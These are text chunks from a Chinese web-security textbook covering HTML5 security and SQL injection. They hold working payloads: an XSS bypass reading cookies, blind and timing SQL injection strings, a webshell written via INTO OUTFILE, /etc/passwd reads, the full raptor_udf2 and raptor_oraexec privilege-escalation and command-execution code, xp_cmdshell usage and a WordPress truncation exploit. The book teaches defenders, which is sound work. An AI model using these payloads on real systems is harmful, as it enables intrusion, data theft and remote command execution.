    {"text": "HTML 5带来了新的功能，也带来了新的安全挑战。 本章将介绍HTML 5的一些新功能及其可能带来的安全问题。 有些功能非HTML 5标准，但也会在本章中一起进行介绍。"},
    {"text": "笔者曾经在百度空间做过一次测试，使用的是HTML 5中新增的<video>标签，这个标签可以在网页中远程加载一段视频。 与<video>标签类似的还有<audio>标签，用于远程加载一段音频。"},
    {"text": "测试如下： <video src=\"http://tinyvid.tv/ file/29d6g90a204i1.ogg\" onloadedmetadata=\"alert(document.cookie);\" ondurationchanged=\"alert(/XSS2/);\" ontimeupdate=\"alert(/XSS1/);\" tabindex=\"0\"></ video> 成功地绕过了百度空间的XSS Filter： 百度空间的XSS HTML 5中新增的一些标签和属性，使得XSS等Web攻击产生了新的变化，为了总结这些变化，有安全研究者建立了一个HTML5 Security Cheat-sheet项目，如下所示： 此项目对研究HTML 5安全有着重要作用。"},
    {"text": "浏览器厂商也一直在想办法限制iframe执行脚本的权限，比如跨窗口访问会有限制，以及IE中的<iframe>标签支持security属性限制脚本的执行，都在向着这一目标努力。"},
    {"text": "使用sandbox这一个属性后，<iframe>标签加载的内容将被视为一个独立的“源”（源的概念请参考“同源策略”），其中的脚本将被禁止执行，表单被禁止提交，插件被禁止加载，指向其他浏览对象的链接也会被禁止。"},
    {"text": "一个iframe的实例如下： <iframe sandbox=\"allow-same-origin allow- forms allow-scripts\" src=\"http://maps.example.com/ embedded.html\"></iframe> 毫无疑问，iframe的sandbox属性将极大地增强应用使用iframe的安全性。"},
    {"text": "<!DOCTYPE HTML> <html> <body> <canvas id=\"myCanvas\" width=\"200\" height=\"100\" style=\"border:1px solid #c3c3c3;\"> Your browser does not support the canvas element. </canvas> <script type=\"text/javascript\"> var c=document.getElementById(\"myCanvas\"); var cxt=c.getContext(\"2d\"); cxt.fillStyle=\"#FF0000\"; cxt.fillRect(0,0,150,75); </script> </body> </html> 在支持Canvas的浏览器上，将描绘出一个图片。"},
    {"text": "function convert_grey(image_data){ for (var x = 0; x < image_data.width; x++){ for (var y = 0; y < image_data.height; y+ +){ var i = x*4+y*4*image_data.width; var luma = Math.floor(image_data.data[i] * 299/1000 + image_data.data[i+1] * 587/1000 + image_data.data[i+2] * 114/1000); image_data.data[i] = luma; image_data.data[i+1] = luma; image_data.data[i+2] = luma; image_data.data[i+3] = 255; } } } 分割不同字符，此处很简单，因为三个字符都使用了不同颜色。 filter(image_data[0], 105); filter(image_data[1], 120); filter(image_data[2], 135); function filter(image_data, colour){ for (var x = 0; x < image_data.width; x++){ for (var y = 0; y < image_data.height; y+ +){ var i = x*4+y*4*image_data.width; // Turn all the pixels of the certain colour to white if (image_data.data[i] == colour) { image_data.data[i] = 255; image_data.data[i+1] = 255; image_data.data[i+2] = 255; // Everything else to black } else { image_data.data[i] = 0; image_data.data[i+1] = 0; image_data.data[i+2] = 0; } } } } 将字符从背景中分离出来，判断背景颜色即可。 var i = x*4+y*4*image_data.width; var above = x*4+(y-1)*4*image_data.width; var below = x*4+(y+1)*4*image_data.width; if (image_data.data[i] == 255 && image_data.data[above] == 0 && image_data.data[below] == 0) { image_data.data[i] = 0; image_data.data[i+1] = 0; image_data.data[i+2] = 0; } 再将结果重新绘制。 cropped_canvas.getContext(\"2d\").fillRect(0, 0, 20, 25); var edges = find_edges(image_data[i]); cropped_canvas.getContext(\"2d\").drawImage(can vas, edges[0], edges[1], edges[2]-edges[0], edges[3]-edges[1], 0, 0, edges[2]-edges[0], edges[3]-edges[1]); image_data[i] = cropped_canvas.getContext(\"2d\").getImageData( 0, 0, cropped_canvas.width, cropped_canvas.height); 完整的实现可以参考前文注释中提到的User-Scripts代码。"},
    {"text": "在此基础上，作者甚至能够破解一些更为复杂的验证码，比如： 破解验证码 通过Canvas自动破解验证码，最大的好处是可以在浏览器环境中实现在线破解，大大降低了攻击的门槛。"},
    {"text": "假设从http://www.a.com/test.html发起一个跨域的XMLHttpRequest请求，请求的地址为：http://www.b.com/test.php。 <script> var client = new XMLHttpRequest(); client.open(\"GET\", \"http://www.b.com/ test.php\"); client.onreadystatechange = function() { } client.send(null); </script> 如果是在IE 8中，则需要使用XDomainRe-quest来实现跨域请求。 var request = new XDomainRequest(); request.open(\"GET\", xdomainurl); request.send(); 如果服务器www.b.com返回一个HTTPHeader： www.b.com Access-Control-Allow-Origin: http://www.a.com 代码如下： <?php header(\"Access-Control-Allow-Origin: *\"); ?> Cross Domain Request Test! 那么这个来自http://www.a.com/test.html的跨域请求就会被通过。 在这个过程中，http://www.a.com/test.html发起的请求还必须带上一个Origin Header： Origin: http://www.a.com 跨域请求的访问过程 在Firefox上，可以抓包分析这个过程。 GET http://www.b.com/test.php HTTP/1.1 Host: www.b.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.9.1b2) Gecko/20081201 Firefox/3.1b2 Paros/3.2.13 Accept: text/html,application/xhtml +xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-cn,zh;q=0.5 Accept-Charset: gb2312,utf-8;q=0.7,*;q=0.7 Keep-Alive: 300 Proxy-Connection: keep-alive Referer: http://www.a.com/test.html Origin: http://www.a.com Cache-Control: max-age=0 HTTP/1.1 200 OK Date: Thu, 15 Jan 2009 06:28:54 GMT Server: Apache/2.0.63 (Win32) PHP/5.2.6 X-Powered-By: PHP/5.2.6 Access-Control-Allow-Origin: * Content-Length: 28 Content-Type: text/html Cross Domain Request Test! Origin Header用于标记HTTP发起的“源”，服务器端通过识别浏览器自动带上的这个OriginHeader，来判断浏览器的请求是否来自一个合法的“源”。"},
    {"text": "对于这个跨域访问的标准，还有许多HTTPHeader可以用于进行更精确的控制： 4 Syntax 4.1 Access-Control-Allow-Origin HTTP Response Header 4.2 Access-Control-Max-Age HTTP Response Header 4.3 Access-Control-Allow-Credentials HTTP Response Header 4.4 Access-Control-Allow-Methods HTTP Response Header 4.5 Access-Control-Allow-Headers HTTP Response Header 4.6 Origin HTTP Request Header 4.7 Access-Control-Request-Method HTTP Request Header 4.8 Access-Control-Request-Headers HTTP Request Header 有兴趣的读者可以自行参阅W3C的标准。"},
    {"text": "发送窗口： <iframe src=\"http://dev.jquery.com/~john/ message/\" id=\"iframe\"></iframe> <form id=\"form\"> <input type=\"text\" id=\"msg\" value=\"Message to send\"/> <input type=\"submit\"/> </form> <script> window.onload = function(){ var win = document.getElementById(\"iframe\").contentWind ow; document.getElementById(\"form\").onsubmit = function(e){ win.postMessage( document.getElementById(\"msg \").value ); e.preventDefault(); }; }; </script> 接收窗口： <b>This iframe is located on dev.jquery.com</ b> <div id=\"test\">Send me a message!</div> <script> document.addEventListener(\"message\", function(e){ document.getElementById(\"test\").textContent = e.domain + \" said: \" + e.data; }, false); </script> 在这个例子中，发送窗口负责发送消息；"},
    {"text": "而在接收窗口中，需要绑定一个message事件，监听其他窗口发来的消息。 这是两个窗口之间的一个“约定”，如果没有监听这个事件，则无法接收到消息。"},
    {"text": "（2）在本例中，接收的消息写入textContent，但在实际应用中，如果将消息写入innerHTML，甚至直接写入script中，则可能会导致DOMbased XSS的产生。"},
    {"text": "过去在浏览器里能够存储信息的方法有以下几种： Cookie Flash Shared Object IE UserData 其中，Cookie主要用于保存登录凭证和少量信息，其最大长度的限制决定了不可能在Cookie中存储太多信息。"},
    {"text": "因此W3C委员会希望能在客户端有一个较为强大和方便的本地存储功能，这就是Web Storage。 Web Storage分为Session Storage 和 LocalStorage。 Session Storage关闭浏览器就会失效，而Local Storage则会一直存在。 Web Storage就像一个非关系型数据库，由Key-Value对组成，可以通过JavaScript对其进行操作。 目前Firefox 3和IE 8都实现了Web Storage。"},
    {"text": "使用方法如下： 设置一个值：window.sessionStor-age.setItem(key, value); 读取一个值：window.sessionStor-age.getItem(key); 此外，Firefox还单独实现了一个globalStor-age，它是基于SQLite实现的。"},
    {"text": "window.globalStorage.namedItem(domain).setIte m(key, value); 下面这个例子展示了Web Storage的使用。 <div id=\"sessionStorage_show\"> sessionStorage Value: </div> <br> <div id=\"localStorage_show\"> localStorage Value: </div> <input id=\"set\" type=\"button\" value=\"check\" onclick=\"set();\"> <script> function set(){ window.sessionStorage.setItem(\"test\", \"this is sessionStorage\"); if (window.globalStorage){ window.globalStorage.namedItem(\"a.com\").setIt em(\"test\", \"this is LocalStorage\"); }else{ window.localStorage.setItem(\"test\", \"this is LocalStorage\"); } document.getElementById(\"sessionStorage_show\" ).innerHTML += window.sessionStorage.getItem(\"test\"); if (window.globalStorage){ document.getElementById(\"localStorage_show\"). innerHTML += window.globalStorage.namedItem(\"a.com\").getIt em(\"test\"); }else{ document.getElementById(\"localStorage_show\").innerHTML += window.localStorage.getItem(\"test\"); } } set(); </script> 运行结果如下： 测试页面 Web Storage也受到同源策略的约束，每个域所拥有的信息只会保存在自己的域下，如下例： <body> <script> if (document.domain == \"www.a.com\"){ window.localStorage.setItem(\"test\",123); } alert(window.localStorage.getItem(\"test\")); </script> </body> 运行结果如下 读取localStorage 当域变化时，结果如下： 跨域时无法读取localStorage Web Storage让Web开发更加的灵活多变，它的强大功能也为XSS Payload大开方便之门。"},
    {"text": "攻击者有可能将恶意代码保存在Web Storage中，从而实现跨页面攻击。 当Web Storage中保存有敏感信息时，也可能会成为攻击的目标，而XSS攻击可以完成这一过程。"},
    {"text": "6.3 小结 HTML 5是互联网未来的大势所趋。 虽然目前距离全面普及还有很长的路要走，但随着浏览器开始支持越来越多的HTML 5功能，攻击面也随之产生了新的变化。 攻击者有可能利用HTML 5中的一些特性，来绕过一些未及时更新的防御方案。 要对抗这些“新型”的攻击，就必须了解HTML 5的方方面面。 对于HTML 5来说，在移动互联网上的普及进程也许会更快，因此未来HTML 5攻防的主战场，很可能会发生在移动互联网上。"},
    {"text": "而SQL注入第一次为公众所知，是在1998年的著名黑客杂志《Phrack》第54期上，一位名叫rfp的黑客发表了一篇题为“NT Web Tech-nology Vulnerabilities”的文章。"},
    {"text": "var Shipcity; ShipCity = Request.form (\"ShipCity\"); var sql = \"select * from OrdersTable where ShipCity = '\" + ShipCity + \"'\"; 变量ShipCity的值由用户提交，在正常情况下，假如用户输入“Beijing”，那么SQL语句会执行： SELECT * FROM OrdersTable WHERE ShipCity = 'Beijing' 但假如用户输入一段有语义的SQL语句，比如： Beijing'; drop table OrdersTable-- 那么，SQL语句在实际执行时就会如下： SELECT * FROM OrdersTable WHERE ShipCity = 'Beijing';drop table OrdersTable--' 我们看到，原本正常执行的查询语句，现在变成了查询完后，再执行一个drop表的操作，而这个操作，是用户构造了恶意数据的结果。"},
    {"text": "（2）原本要执行的代码，拼接了用户的输入： var sql = \"select * from OrdersTable where ShipCity = '\" + ShipCity + \"'\"; 这个“拼接”的过程很重要，正是这个拼接的过程导致了代码的注入。"},
    {"text": "在SQL注入的过程中，如果网站的Web服务器开启了错误回显，则会为攻击者提供极大的便利，比如攻击者在参数中输入一个单引号“'”，引起执行查询语句的语法错误，服务器直接返回了错误信息： Microsoft JET Database Engine 错误 '80040e14' 字符串的语法错误 在查询表达式 'ID=49'' 中。 /showdetail.asp，行8 从错误信息中可以知道，服务器用的是Access作为数据库，查询语句的伪代码极有可能是： select xxx from table_X where id = $id 错误回显披露了敏感信息，对于攻击者来说，构造SQL注入的语句就可以更加得心应手了。 7.1.1 盲注（Blind Injection） 但很多时候，Web服务器关闭了错误回显，这时就没有办法成功实施SQL注入攻击了吗？"},
    {"text": "比如，一个应用的URL如下： http://newspaper.com/items.php?id=2 执行的SQL语句为： SELECT title, description, body FROM items WHERE ID = 2 如果攻击者构造如下的条件语句： http://newspaper.com/items.php?id=2 and 1=2 实际执行的SQL语句就会变成： SELECT title, description, body FROM items WHERE ID = 2 and 1=2 因为“and 1=2”永远是一个假命题，所以这条SQL语句的“and”条件永远无法成立。"},
    {"text": "攻击者继续构造如下请求： http://newspaper.com/items.php?id=2 and 1=1 当攻击者构造条件“and 1=1”时，如果页面正常返回了，则说明SQL语句的“and”成功执行，那么就可以判断“id”参数存在SQL注入漏洞了。 在这个攻击过程中，服务器虽然关闭了错误回显，但是攻击者通过简单的条件判断，再对比页面返回结果的差异，就可以判断出SQL注入漏洞是否存在。"},
    {"text": "如下例： 攻击者先输入条件“and 1=1”，服务器返回正常页面，这是因为“and”语句成立。 当注入语句的条件为真时返回正常页面 再输入条件“and 1=2”，SQL语句执行后，因为1=2永远不可能为真，因此SQL语句无法返回查询到的数据。 当注入语句的条件为假时没有查询到具体内容 由此可立即判断漏洞存在。"},
    {"text": "比如： mysql> SELECT BENCHMARK(1000000,ENCODE('hello','goodbye' )); +-------------------------------------------- --+ | BENCHMARK(1000000,ENCODE('hello','goodbye')) | +-------------------------------------------- --+ | 0 | +-------------------------------------------- --+ 1 row in set (4.74 sec) 就将ENCODE('hello','goodbye')执行了1000000次，共用时4.74秒。"},
    {"text": "比如构造的攻击参数id值为： 1170 UNION SELECT IF(SUBSTRING(current,1,1) = CHAR(119),BENCHMARK(5000000,ENCODE('MSG','by 5 seconds')),null) FROM (Select Database() as current) as tbl; 这段Payload判断库名的第一个字母是否为CHAR(119)，即小写的w。"},
    {"text": "与此类似，还可通过以下函数获取到许多有用信息： database() - the name of the database currently connected to. system_user() - the system user for the database. current_user() - the current user who is logged in to the database. last_insert_id() - the transaction ID of the last insert operation on the database. 如果当前数据库用户（current_user）具有写权限，那么攻击者还可以将信息写入本地磁盘中。"},
    {"text": "比如写入Web目录中，攻击者就有可能下载这些文件： 1170 Union All SELECT table_name, table_type, engine FROM information_schema.tables WHERE table_schema = 'mysql’ ORDER BY table_name DESC INTO OUTFILE '/path/location/on/server/www/schema.txt' 此外，通过Dump文件的方法，还可以写入一个webshell： 1170 UNION SELECT \"<? system($_REQUEST['cmd']); ?>\",2,3,4 INTO OUTFILE \"/var/www/html/temp/c.php\" -- Timing Attack是盲注的一种高级技巧。"},
    {"text": "在本节中，将介绍一些具有代表性的SQL注入技巧。 了解这些技巧，有助于更深入地理解SQL注入的攻击原理。 SQL注入是基于数据库的一种攻击。 不同的数据库有着不同的功能、不同的语法和函数，因此针对不同的数据库，SQL注入的技巧也有所不同。 7.2.1 常见的攻击技巧 SQL注入可以猜解出数据库的对应版本，比如下面这段Payload，如果MySQL的版本是4，则会返回TRUE： http://www.site.com/news.php?id=5 and substring(@@version,1,1)=4 下面这段Payload，则是利用union select来分别确认表名admin是否存在，列名passwd是否存在： id=5 union all select 1,2,3 from admin id=5 union all select 1,2,passwd from admin 进一步，想要猜解出username和password具体的值，可以通过判断字符的范围，一步步读出来： id=5 and ascii(substring((select concat(username,0x3a,passwd) from users limit 0,1),1,1))>64 /*ret true)*/ id=5 and ascii(substring((select concat(username,0x3a,passwd) from users limit 0,1),1,1))>96 /*ret true*/ id=5 and ascii(substring((select concat(username,0x3a,passwd) from users limit 0,1),1,1))>100 /*ret false*/ id=5 and ascii(substring((select concat(username,0x3a,passwd) from users limit 0,1),1,1))>97 /*ret false*/ ... id=5 and ascii(substring((select concat(username,0x3a,passwd) from users limit 0,1),2,1))>64 /*ret true*/ ... 这个过程非常的烦琐，所以非常有必要使用一个自动化工具来帮助完成整个过程。"},
    {"text": "… union select 1,1, LOAD_FILE('/etc/ passwd'),1,1; 如果要将文件读出后，再返回结果给攻击者，则可以使用下面这个技巧： CREATE TABLE potatoes(line BLOB); UNION SELECT 1,1, HEX(LOAD_FILE('/etc/ passwd')),1,1 INTO DUMPFILE '/tmp/potatoes'; LOAD DATA INFILE '/tmp/potatoes' INTO TABLE potatoes; 这需要当前数据库用户有创建表的权限。 首先通过LOAD_FILE()将系统文件读出，再通过INTODUMPFILE将该文件写入系统中，然后通过LOAD DATA INFILE将文件导入创建的表中，最后就可以通过一般的注入技巧直接操作表数据了。"},
    {"text": "7.2.2 命令执行 在MySQL中，除了可以通过导出webshell间接地执行命令外，还可以利用“用户自定义函数”的技巧，即UDF（User-Defined Functions）来执行命令。"},
    {"text": "使用如下语法可以创建UDF： CREATE FUNCTION f_name RETURNS INTEGER SONAME shared_library 在MySQL 4的服务器上，Marco Ivaldi公布了如下的代码，可以通过UDF执行系统命令。"},
    {"text": "/* * $Id: raptor_udf2.c,v 1.1 2006/01/18 17:58:54 raptor Exp $ * * raptor_udf2.c - dynamic library for do_system() MySQL UDF * Copyright (c) 2006 Marco Ivaldi <raptor@0xdeadbeef.info> * * This is an helper dynamic library for local privilege escalation through * MySQL run with root privileges (very bad idea!), slightly modified to work * with newer versions of the open-source database. Tested on MySQL 4.1.14. * * See also: http://www.0xdeadbeef.info/ exploits/raptor_udf.c * * Starting from MySQL 4.1.10a and MySQL 4.0.24, newer releases include fixes * for the security vulnerabilities in the handling of User Defined Functions * (UDFs) reported by Stefano Di Paola <stefano.dipaola@wisec.it>. For further * details, please refer to: * * http://dev.mysql.com/doc/refman/5.0/en/ udf-security.html * http://www.wisec.it/vulns.php?page=4 * http://www.wisec.it/vulns.php?page=5 * http://www.wisec.it/vulns.php?page=6 * * \"UDFs should have at least one symbol defined in addition to the xxx symbol * that corresponds to the main xxx() function. These auxiliary symbols * correspond to the xxx_init(), xxx_deinit(), xxx_reset(), xxx_clear(), and * xxx_add() functions\". -- User Defined Functions Security Precautions * * Usage: * $ id * uid=500(raptor) gid=500(raptor) groups=500(raptor) * $ gcc -g -c raptor_udf2.c * $ gcc -g -shared -W1,- soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc * $ mysql -u root -p * Enter password: * [...] * mysql> use mysql; * mysql> create table foo(line blob); * mysql> insert into foo values(load_file('/ home/raptor/raptor_udf2.so')); * mysql> select * from foo into dumpfile '/ usr/lib/raptor_udf2.so'; * mysql> create function do_system returns integer soname 'raptor_udf2.so'; * mysql> select * from mysql.func; * +-----------+-----+---------------- +----------+ * | name | ret | dl | type | * +-----------+-----+---------------- +----------+ * | do_system | 2 | raptor_udf2.so | function | * +-----------+-----+---------------- +----------+ * mysql> select do_system('id > /tmp/out; chown raptor.raptor /tmp/out'); * mysql> \\! sh * sh-2.05b$ cat /tmp/out * uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm) * [...] */ #include <stdio.h> #include <stdlib.h> enum Item_result {STRING_RESULT, REAL_RESULT, INT_RESULT, ROW_RESULT}; typedef struct st_udf_args { unsigned int arg_count; // number of arguments enum Item_result *arg_type; // pointer to item_result char **args; // pointer to arguments unsigned long *lengths; // length of string args char *maybe_null; // 1 for maybe_null args } UDF_ARGS; typedef struct st_udf_init { char maybe_null; // 1 if func can return NULL unsigned int decimals; // for real functions unsigned long max_length; // for string functions char *ptr; // free ptr for func data char const_item; // 0 if result is constant } UDF_INIT; int do_system(UDF_INIT *initid, UDF_ARGS *args, char *is_null, char *error) { if (args->arg_count != 1) return(0); system(args->args[0]); return(0); } char do_system_init(UDF_INIT *initid, UDF_ARGS *args, char *message) { return(0); } 但是这段代码在MySQL 5及之后的版本中将受到限制，因为其创建自定义函数的过程并不符合新的版本规范，且返回值永远是0。"},
    {"text": "后来安全研究者们找到了另外的方法——通过lib_mysqludf_sys提供的几个函数执行系统命令，其中最主要的函数是sys_eval()和sys_exec()。"},
    {"text": "lib_mysqludf_sys的相关信息可以在官方网站获得，使用方法如下： $ wget --no-check-certificate https://svn.sqlmap.org/sqlmap/trunk/sqlmap/ extra/mysqludfsys/lib_mysqludf_sys_0.0.3.tar.gz $ tar xfz lib_mysqludf_sys_0.0.3.tar.gz $ cd lib_mysqludf_sys_0.0.3 $ sudo ./install.sh Compiling the MySQL UDF gcc -Wall -I/usr/include/mysql -I. -shared lib_mysqludf_sys.c -o /usr/lib/lib_mysqludf_sys.so MySQL UDF compiled successfully Please provide your MySQL root password Enter password: MySQL UDF installed successfully $ mysql -u root -p mysql Enter password: [...] mysql> SELECT sys_eval('id'); +-------------------------------------------- ------+ | sys_eval('id') | +-------------------------------------------- ------+ | uid=118(mysql) gid=128(mysql) groups=128(mysql) | +-------------------------------------------- ------+ 1 row in set (0.02 sec) mysql> SELECT sys_exec('touch /tmp/ test_mysql'); +-----------------------------------+ | sys_exec('touch /tmp/test_mysql') | +-----------------------------------+ | 0 | +-----------------------------------+ 1 row in set (0.02 sec) mysql> exit Bye $ ls -l /tmp/test_mysql -rw-rw---- 1 mysql mysql 0 2009-01-16 23:18 /tmp/test_mysql 自动化注入工具sqlmap已经集成了此功能。"},
    {"text": "$ python sqlmap.py -u \"http://192.168.136.131/sqlmap/pgsql/ get_int.php?id=1\" --os-cmd id -v 1 [...] web application technology: PHP 5.2.6, Apache 2.2.9 back-end DBMS: PostgreSQL [hh:mm:12] [INFO] fingerprinting the back- end DBMS operating system [hh:mm:12] [INFO] the back-end DBMS operating system is Linux [hh:mm:12] [INFO] testing if current user is DBA [hh:mm:12] [INFO] detecting back-end DBMS version from its banner [hh:mm:12] [INFO] checking if UDF 'sys_eval' already exist [hh:mm:12] [INFO] checking if UDF 'sys_exec' already exist [hh:mm:12] [INFO] creating UDF 'sys_eval' from the binary UDF file [hh:mm:12] [INFO] creating UDF 'sys_exec' from the binary UDF file do you want to retrieve the command standard output? [Y/n/a] y command standard output: 'uid=104(postgres) gid=106(postgres) groups=106(postgres)' [hh:mm:19] [INFO] cleaning up the database management system do you want to remove UDF 'sys_eval'? [Y/n] y do you want to remove UDF 'sys_exec'? [Y/n] y [hh:mm:23] [INFO] database management system cleanup finished [hh:mm:23] [WARNING] remember that UDF shared object files saved on the file system -- -- $Id: raptor_oraexec.sql,v 1.2 2006/11/23 23:40:16 raptor Exp $ -- -- raptor_oraexec.sql - java exploitation suite for oracle -- Copyright (c) 2006 Marco Ivaldi <raptor@0xdeadbeef.info> -- -- This is an exploitation suite for Oracle written in Java. Use it to -- read/write files and execute OS commands with the privileges of the -- RDBMS, if you have the required permissions (DBA role and SYS:java). -- -- \"The Oracle RDBMS could almost be considered as a shell like bash or the -- Windows Command Prompt; it's not only capable of storing data but can also -- be used to completely access the file system and run operating system -- commands\" -- David Litchfield (http://www.databasesecurity.com/) -- -- Usage example: -- $ sqlplus \"/ as sysdba\" -- [...] -- SQL> @raptor_oraexec.sql -- [...] -- SQL> exec javawritefile('/tmp/mytest', '/ bin/ls -l > /tmp/aaa'); -- SQL> exec javawritefile('/tmp/mytest', '/ bin/ls -l / > /tmp/bbb'); -- SQL> exec dbms_java.set_output(2000); -- SQL> set serveroutput on; -- SQL> exec javareadfile('/tmp/mytest'); -- /bin/ls -l > /tmp/aaa -- /bin/ls -l / >/tmp/bbb -- SQL> exec javacmd('/bin/sh /tmp/mytest'); -- SQL> !sh -- $ ls -rtl /tmp/ -- [...] -- -rw-r--r-- 1 oracle system 45 Nov 22 12:20 mytest -- -rw-r--r-- 1 oracle system 1645 Nov 22 12:20 aaa -- -rw-r--r-- 1 oracle system 8267 Nov 22 12:20 bbb -- [...] -- create or replace and resolve java source named \"oraexec\" as import java.lang.*; import java.io.*; public class oraexec { /* * Command execution module */ public static void execCommand(String command) throws IOException { Runtime.getRuntime().exec(command); } /* * File reading module */ public static void readFile(String filename) throws IOException { FileReader f = new FileReader(filename); BufferedReader fr = new BufferedReader(f); String text = fr.readLine(); while (text != null) { System.out.println(text); text = fr.readLine(); } fr.close(); } /* * File writing module */ public static void writeFile(String filename, String line) throws IOException { FileWriter f = new FileWriter(filename, true); /* append */ BufferedWriter fw = new BufferedWriter(f); fw.write(line); fw.write(\"\\n\"); fw.close(); } } / -- usage: exec javacmd('command'); create or replace procedure javacmd(p_command varchar2) as language java name 'oraexec.execCommand(java.lang.String)'; / -- usage: exec dbms_java.set_output(2000); -- set serveroutput on; -- exec javareadfile('/path/to/file'); create or replace procedure javareadfile(p_filename in varchar2) as language java name 'oraexec.readFile(java.lang.String)'; / -- usage: exec javawritefile('/path/to/ file', 'line to append'); create or replace procedure javawritefile(p_filename in varchar2, p_line in varchar2) as language java name 'oraexec.writeFile(java.lang.String, java.lang.String)'; / 一般来说，在数据库中执行系统命令，要求具有较高的权限。"},
    {"text": "在MS SQL Server中，存储过程“xp_cmd-shell”可谓是臭名昭著了，无数的黑客教程在讲到注入SQL Server时都是使用它执行系统命令： EXEC master.dbo.xp_cmdshell 'cmd.exe dir c:' EXEC master.dbo.xp_cmdshell 'ping ' xp_cmdshell在SQL Server 2000中默认是开启的，但在SQL Server 2005及以后版本中则默认被禁止了。"},
    {"text": "EXEC sp_configure 'show advanced options',1 RECONFIGURE EXEC sp_configure 'xp_cmdshell',1 RECONFIGURE 除了xp_cmdshell外，还有一些其他的存储过程对攻击过程也是有帮助的。 比如xp_regread可以操作注册表： exec xp_regread HKEY_LOCAL_MACHINE, 'SYSTEM\\CurrentControlSet\\Services \\lanmanserver\\parameters', 'nullsessionshares' exec xp_regenumvalues HKEY_LOCAL_MACHINE, 'SYSTEM\\CurrentControlSet\\Services\\snmp \\parameters\\validcommunities' 可以操作注册表的存储过程还有： xp_regaddmultistring xp_regdeletekey xp_regdeletevalue xp_regenumkeys xp_regenumvalues xp_regread xp_regremovemultistring xp_regwrite 此外，以下存储过程对攻击者也非常有用。"},
    {"text": "xp_servicecontrol，允许用户启动、停止服务。 如： (exec master..xp_servicecontrol 'start','schedule' exec master..xp_servicecontrol 'start','server') xp_availablemedia，显示机器上有用的驱动器。"},
    {"text": "procedure get_item ( itm_cv IN OUT ItmCurTyp, usr in varchar2, itm in varchar2) is open itm_cv for ' SELECT * FROM items WHERE ' || 'owner = '''|| usr || ' AND itemname = ''' || itm || ''''; end get_item; 在这个存储过程中，变量usr和itemname 都是由外部传入的，且未经过任何处理，将直接造成SQL注入问题。"},
    {"text": "比如PHP中的addslashes()函数，或者当magic_quotes_gpc开启时，会在特殊字符前增加一个转义字符“\\”。 addslashes()函数会转义4个字符： Description string addslashes ( string $str ) Returns a string with backslashes before characters that need to be quoted in database queries etc. These characters are single quote ('), double quote (\"), backslash (\\) and NUL (the NULL byte). 因此，假如攻击者输入： 0xbf27 or 1=1 即： 经过转义后，会变成0xbf5c27（“\\”的ASCII码为0x5c），但0xbf5c又是一个字符： 因此原本会存在的转义符号“\\”，在数据库中就被“吃掉“了，变成： 要解决这种问题，需要统一数据库、操作系统、Web应用所使用的字符集，以避免各层对字符的理解存在差异。"},
    {"text": "基于字符集的攻击并不局限于SQL注入，凡是会解析数据的地方都可能存在此问题。 比如在XSS攻击时，由于浏览器与服务器返回的字符编码不同，也可能会存在字符集攻击。"},
    {"text": "7.2.5 SQL Column Truncation 2008年8月，Stefan Esser提出了一种名为“SQL Column Truncation”的攻击方式，在某些情况下，将会导致发生一些安全问题。"},
    {"text": "当MySQL的sql-mode设置为default时，即没有开启STRICT_ALL_TABLES选项时，MySQL对于用户插入的超长值只会提示warn-ing，而不是error（如果是error则插入不成功），这可能会导致发生一些“截断”问题。"},
    {"text": "sql- mode=\"STRICT_TRANS_TABLES,NO_AUTO_CREATE_USE R,NO_ENGINE_SUBSTITUTION\" 在strict模式下，因为输入的字符串超出了长度限制，因此数据库返回一个error信息，同时数据插入不成功。"},
    {"text": "mysql> create table 'truncated_test' ( -> `id` int(11) NOT NULL auto_increment, -> `username` varchar(10) default NULL, -> `password` varchar(10) default NULL, -> PRIMARY KEY ('id') -> )DEFAULT CHARSET=utf8; Query OK, 0 rows affected (0.08 sec) mysql> select * from truncated_test; Empty set (0.00 sec) mysql> show columns from truncated_test; +----------+-------------+------+----- +---------+----------------+ | Field | Type | Null | Key | Default | Extra | +----------+-------------+------+----- +---------+----------------+ | id | int(11) | NO | PRI | NULL | auto_increment | | username | varchar(10) | YES | | NULL | | | password | varchar(10) | YES | | NULL | | +----------+-------------+------+----- +---------+----------------+ 3 rows in set (0.00 sec) mysql> insert into truncated_test('username','password') values(\"admin\",\"pass\"); Query OK, 1 row affected (0.03 sec) mysql> select * from truncated_test; +----+----------+----------+ | id | username | password | +----+----------+----------+ | 1 | admin | pass | +----+----------+----------+ 1 row in set (0.00 sec) mysql> insert into truncated_test('username','password') values(\"admin x\", \"new_pass\"); ERROR 1406 (22001): Data too long for column 'username' at row 1 mysql> select * from truncated_test; +----+----------+----------+ | id | username | password | +----+----------+----------+ | 1 | admin | pass | +----+----------+----------+ 1 row in set (0.00 sec) 当关闭了strict选项时： sql- mode=\"NO_AUTO_CREATE_USER,NO_ENGINE_SUBSTITUT ION\" 数据库只返回一个warning信息，但数据插入成功。 mysql> select * from truncated_test; +----+----------+----------+ | id | username | password | +----+----------+----------+ | 1 | admin | pass | +----+----------+----------+ 1 row in set (0.00 sec) mysql> insert into truncated_test('username','password') values(\"admin x\", -> \"new_pass\"); Query OK, 1 row affected, 1 warning (0.01 sec) mysql> select * from truncated_test; +----+------------+----------+ | id | username | password | +----+------------+----------+ | 1 | admin | pass | | 2 | admin | new_pass | +----+------------+----------+ 2 rows in set (0.00 sec) mysql> 此时如果插入两个相同的数据会有什么后果呢？"},
    {"text": "比如类似下面的代码： $userdata = null; if (isPasswordCorrect($username, $password)) { $userdata = getUserDataByLogin($username); ... } 它使用这条SQL语句来验证用户名和密码： SELECT username FROM users WHERE username = ? AND passhash = ? 但如果攻击者插入一个同名的数据，则可以通过此认证。"},
    {"text": "在这个问题公布后不久，WordPress就出现了一个真实的案例—— 注册一个用户名为“admin（55个空格）x”的用户，就可以修改原管理员的密码了。 Vulnerable Systems: * WordPress version 2.6.1 Exploit: 1. Go to URL: server.com/wp-login.php? action=register 2. Register as: login: admin x (the user admin[55 space chars]x) email: your email Now, we have duplicated 'admin' account in database 3. Go to URL: server.com/wp-login.php? action=lostpassword 4. Write your email into field and submit this form 5. Check your email and go to reset confirmation link 6. Admin's password changed, but new password will be send to correct admin email Additional Information: The information has been provided by irk4z. The original article can be found at: http://irk4z.wordpress.com/ 但这个漏洞并未造成严重的后果，因为攻击者在此只能修改管理员的密码，而新密码仍然会发送到管理员的邮箱。"},
